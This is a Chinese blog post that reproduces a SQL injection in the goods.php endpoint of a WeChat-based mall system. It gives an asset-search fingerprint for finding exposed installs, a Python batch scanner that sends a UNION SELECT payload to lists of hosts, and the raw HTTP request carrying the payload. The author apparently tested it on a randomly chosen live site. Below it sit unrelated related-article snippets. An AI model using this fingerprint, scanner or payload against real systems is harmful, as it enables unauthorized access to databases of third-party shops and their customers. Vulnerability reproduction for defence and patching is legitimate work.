【漏洞复现】微商城系统 goods SQL注入漏洞

news2024/12/23 17:17:55

           声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

微商城是基于微信这一广受欢迎的社交平台的商业应用,利用微信的广泛用户基础和快速传播特性,为商家提供了一个便捷的电子商务平台。然而,其接口goods.php存在SQL注入漏洞,可能导致数据库敏感信息泄露。

二、资产收集

1.使用网络空间测绘引擎搜索

鹰图检索:web.body="/Mao_Public/layer/layer.js"

2.使用poc批量扫描

import requests
import urllib3
from urllib.parse import urljoin, quote
import argparse
import ssl
import re

# 禁用SSL证书验证,允许不安全的请求
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    """
    读取文件中的URL列表
    :param file_path: 文件路径
    :return: URL列表
    """
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def check(url):
    """
    检查目标URL是否存在SQL注入漏洞
    :param url: 目标URL
    :return: 如果存在漏洞,返回True
    """
    url = url.rstrip("/")
    try:
        # 构造恶意请求URL,尝试进行SQL注入
        target = urljoin(url, "/goods.php?id='+UNION+ALL+SELECT+NULL,NULL,NULL,md5(123456),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+-")
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
        }
        response = requests.get(target, verify=False, headers=headers, timeout=15)
        # 检查响应状态码和响应内容中是否包含特定的字符串,以判断是否存在漏洞
        if response.status_code == 200 and 'e10adc3949ba59abbe56e057f20f883e' in response.text and 'Mao_Public' in response.text:
            print(f"\033[31mDiscovered:{url}: WeChatMallSystem_goods_SQLInject!\033[0m")
            return True
    except Exception as e:
        pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        check(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")

cmd运行poc脚本:python poc.py -f host.txt

 随机寻找的幸运儿

三、漏洞复现 

1.构造数据包

1.构造数据包:

GET /goods.php?id='+UNION+ALL+SELECT+NULL,NULL,NULL,md5(123456),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1
Connection: close

2.数据包分析 

  1. 这是一个HTTP GET请求的数据包,包含了请求行、请求头和空的请求体。下面是对这个数据包的详细解析:

  2. 请求行(Request Line):

    • 方法:GET
    • URI:/goods.php?id='+UNION+ALL+SELECT+NULL,NULL,NULL,md5(123456),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+-
    • HTTP版本:HTTP/1.1
  3. 请求头(Headers):

    • Host: x.x.x.x:表示请求的目标服务器地址。
    • User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1:表示发起请求的客户端信息,包括浏览器类型、版本等。
    • Connection: close:表示请求完成后关闭连接。
  4. 这个数据包的目的是向目标服务器发送一个SQL注入攻击的请求,试图获取数据库中某个特定MD5值对应的信息。

  5. 请求体(Body):

    • 由于这是一个GET请求,请求体为空。

3.结束跑路

1.构造数据包md5(123456),得到回显e10adc3949ba59abbe56e057f20f883e

每篇一言:曾盛开过一朵,曾不会败落,曾在他眼中流淌过浩瀚的银河。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2059294.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

安泰ATA-7015高压放大器在机器人测试中的应用研究

随着机器人技术的快速发展,机器人在各个领域的应用日益广泛。然而,要确保机器人能够稳定、准确地完成各种任务,就需要对其进行严格的测试和评估。在机器人测试过程中,高压放大器作为一种关键的测试设备,发挥着不可替代…

dll文件丢失最简单的修复方法——电脑丢失dll文件一键修复

在日常使用Windows操作系统的过程中,DLL文件由于各种原因丢失或损坏是一个非常常见的问题。这可能导致软件运行不稳定或无法启动等问题,给用户带来诸多不便。尽管手动寻找并替换相应的DLL文件是一个可行的解决方案,但对于大多数用户而言&…

Linux修改密码出现 “passwd: Authentication token manipulation error”

文章目录 1. 问题现象2. 解决方法 1. 问题现象 修改密码出现: passwd: Authentication token manipulation error。 passwd root2. 解决方法 1.查看文件的扩展信息。 lsattr 命令用于显示文件的扩展属性,包括文件的特殊标志位。 /etc/passwd 是一个…

Java语言程序设计——篇十五(3)

🌿🌿🌿跟随博主脚步,从这里开始→博主主页🌿🌿🌿 欢迎大家:这里是我的学习笔记、总结知识的地方,喜欢的话请三连,有问题可以私信🌳🌳&…

设备巡检系统

在现代工业生产和各类设施管理中,设备的稳定运行至关重要。而凡尔码设备巡检系统的出现,为确保设备的可靠运转提供了强大的助力。 传统的纸质设备巡检容易作假、统计不及时、汇总困难、容易丢失、记录样式不丰富。而凡尔码设备巡检平台有着多种功能&…

考电工证,学历证丢了为什么能报名?

在面对学历证书遗失的情况下,许多人可能会感到焦虑和无助。幸运的是,如果你确认自己具有初中及以上学历,即使学历证书不慎丢失,仍有几种方法可以证明你的教育背景。以下是三种可行的替代方案: 户口本个人页拍照 首先&a…

PXE-Kickstart高效批量装机

文章目录 PXE高效批量网络装机安装顺序PXE批量装机部署优点基本部署过程 具体过程pxe---批量安装Kickstart---无人值守安装 实操pxe部分一、安装TFTP 服务二、修改TFTP服务的配置文件三、启用 TFTP服务四、安装DHCP服务五、修改DHCP服务的配置文件六、启用DHCP服务七、准备 Lin…

五套随机小姐姐短视频引流网站源码+最新API

简介: 五套随机小姐姐短视频引流网站源码最新API 运行环境 PHP 图片: 本文网址:https://www.songshuan.com/live-2741.html 转载请声明来自:松栓源码网 - 五套随机小姐姐短视频引流网站源码最新API

详解线索分层的目的、维度与创新实践

线索分层是一个系统性的过程,旨在更有效地管理、跟踪和利用线索资源。这一过程可以借鉴多种策略和方法,特别是在用户运营和市场营销中。 1、线索分层的目的 线索分层的主要目的是根据线索的不同特征或成熟度,将其分类管理,以便更…

OpenAI gym and Python threading

题意:OpenAI Gym 和 Python 线程处理 问题背景: I am working on a variation of A3C/ACER and I have several workers, each running on its own thread. I am using OpenAI gym environments. 我正在开发 A3C/ACER 的一个变体,并且有多个…

为什么Redis6.0引入了多线程?

2020年5月份,Redis正式推出了6.0版本,这个版本中有很多重要的新特性,其中多线程特性引起了广泛关注。 但是,需要提醒大家的是,Redis 6.0中的多线程,也只是针对处理网络请求过程采用了多线程,而数…

C++竞赛初阶L1-13-第五单元-循环嵌套(29~30课)537: T456456 质因数分解

题目内容 已知正整数 n 是两个不同的质数的乘积&#xff0c;试求出较大的那个质数。 输入格式 输入只有一行&#xff0c;包含一个正整数 n&#xff08;6<n<109&#xff09;。 输出格式 输出只有一行&#xff0c;包含一个正整数 p&#xff0c;即较大的那个质数。 样例…

Flask返回Json格式字符,中文导致unicode乱码问题

一.问题描述 或者直接返回json格式的字符串 从上图可以看出&#xff0c;当flask实现的接口响应中存在中文时&#xff0c;接口返回json字串的中文为unicode乱码。 二.问题解决 百度搜索了很多&#xff0c;原来在创建flask app时使用json格式的字符串&#xff0c;默认是ascii编…

STM32新建项目

一、学习背景 需要做一个机械臂项目&#xff0c;打算用STM32做微控制器&#xff0c;所以需要学习STM32的相关应用&#xff0c;再将其应用到机械臂上。 二、相关硬件与软件 硬件&#xff1a;STM32F103&#xff1b;显示屏&#xff1b;stlink&#xff1b;传感器模块&#xff1b…

C#学习之路day1

目录 一、概念&#xff1a;.net和c# 二、.net发展方向 三、.Net两种交互模式 四、创建项目 五、vs的组成部分 六、我的第一个C#程序 七、多个项目时启动项目的设置 八、注释 九、快捷键 一、概念&#xff1a;.net和c# 1、.net/dotnet :一般指.Net Framework框架&#…

小程序 蓝牙API使用全流程

其中需要注意的是消息格式 发送的信息应该转成相应的格式 const combineData (arr: any[]) > {const buffer new ArrayBuffer(5)const dataView new DataView(buffer)// 声明16进制数值 数组// 循环数组 并求和arr.forEach((item, index) > {dataView.setUint8(index,…

干货分享|如何使用SD插件进行创成式填充和外绘扩图?

Photoshop中的创成式填充功能可以根据图像内容和语义信息&#xff0c;去除、修改和扩展画面内容。遗憾的是&#xff0c;一些用户无法使用这些功能&#xff0c;即便能用&#xff0c;用户也可能面临排队等待时间长、生成的内容不稳定、无法生成清晰图像等问题。有了SD插件后&…

算法力扣刷题记录 八十八【122.买卖股票的最佳时机 II】

前言 在本文之前&#xff0c;纠正了回溯章节中去重方式和排序之间的关系&#xff0c;可以去&#xff1a;记录 八十【491.递增子序列及去重方式——排序关系】中回顾。 贪心章节第5篇。动态规划第11篇。记录 八十八【122.买卖股票的最佳时机 II】 一、题目阅读 给你一个整数数…

RestTemplate-源码阅读

参考资料&#xff1a;https://github.com/mercyblitz/java-training-camp/blob/main/stage-1/docs/04.%20%E7%AC%AC%E5%9B%9B%E8%8A%82%EF%BC%9AREST%20API%20%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%AE%BE%E8%AE%A1.md RestTemplate 源码阅读 GET POST EXCHANGE 我们可以看到其实没…

web前端之vue+element+select实现多选、两个数组排序、保持源数据、查找索引、过滤、克隆、复制、findIndex、filter

MENU 前言效果图templatestyleJavaScript 前言 1、代码段是一个Vue组件的模板、脚本和样式的完整实现。它结合element的一些组件(如el-select和el-radio-group)&#xff0c;实现一个带有下拉选择、多选功能以及可选择“是/否”状态的组件。 2、组件实现一个复杂的选择和管理界面…